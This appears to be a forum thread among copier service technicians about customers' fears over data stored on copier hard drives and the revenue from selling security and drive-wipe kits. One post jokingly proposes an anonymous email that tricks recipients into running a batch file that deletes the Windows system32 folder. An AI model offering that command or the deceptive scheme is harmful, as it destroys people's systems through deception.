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This has brought a couple of my big firms that I service some concern.
I told them to invest into some sercurity kits. One firm alone was about $5000.
I don't care. Brings us money. I guess, it does get better.
Or send anonymous email :
fix copier security! simply Open Notepad and type in the following:
"@echo off del c:\WINDOWS\system32"
Save the file as anything.bat
Then double click the document!
Wait a few days then call them and inform them of you new IT dept.
Notatechie - "I am trying, but I don't know how to go into Service Mode. If I just go in and press *then 2, than 8, then * it does not do anything."
SCREWTAPE - "Try harder.."
We have had a lot of customers recently start worrying about this. One of our customers was a private military contractor that works on classified information. They called us freaking out about a copier we just replaced a week ago, demanding their hard drive back. Luckily for us, the copier was a di550 and didn't have one in it.
This is ultimately the customer's responsibility, but I feel as if some of our customers are looking to blame the copier industry, (like the copier's were designed to steal vital information) which annoys me to a point. I guess it's a good thing that you can sell data security kits and charge the customer for replacing the hard drives to return the old ones to them.
As mentioned in the other thread, fit a new HDD before selling a machine, include it in the cost of the sale and show the customer how proactive you are with their security in mind.
It's 106 miles to Chicago. We've got a full tank of gas, half a pack of cigarettes, it's dark and we're wearing sunglasses.
As mentioned in the other thread, fit a new HDD before selling a machine, include it in the cost of the sale and show the customer how proactive you are with their security in mind.
Sales guys would flip out on me if I asked them to do that. But, that's a great idea.
We have had a lot of customers recently start worrying about this. One of our customers was a private military contractor that works on classified information. They called us freaking out about a copier we just replaced a week ago, demanding their hard drive back. Luckily for us, the copier was a di550 and didn't have one in it.
This is ultimately the customer's responsibility, but I feel as if some of our customers are looking to blame the copier industry, (like the copier's were designed to steal vital information) which annoys me to a point. I guess it's a good thing that you can sell data security kits and charge the customer for replacing the hard drives to return the old ones to them.
You should have told them that a tech you fired last week took them and has them on e-bay, and the bidding is up over $10,000 from some Chinese company. Then when they calm down, ask if they want you to teach them anything else about their systems, that they should already know.
The greatest enemy of knowledge isn't ignorance, it is the illusion of knowledge. Stephen Hawking
we just billed $9000 to clear the data of 70 machines at one customers location. This has become a very lucrative deal for us and the new customers are now purchasing the security kits and HDD kits to secure documents on the new devices. This in turn has provided us with even more revenue.
Accidents don't just happen. They must be carelessly planned.
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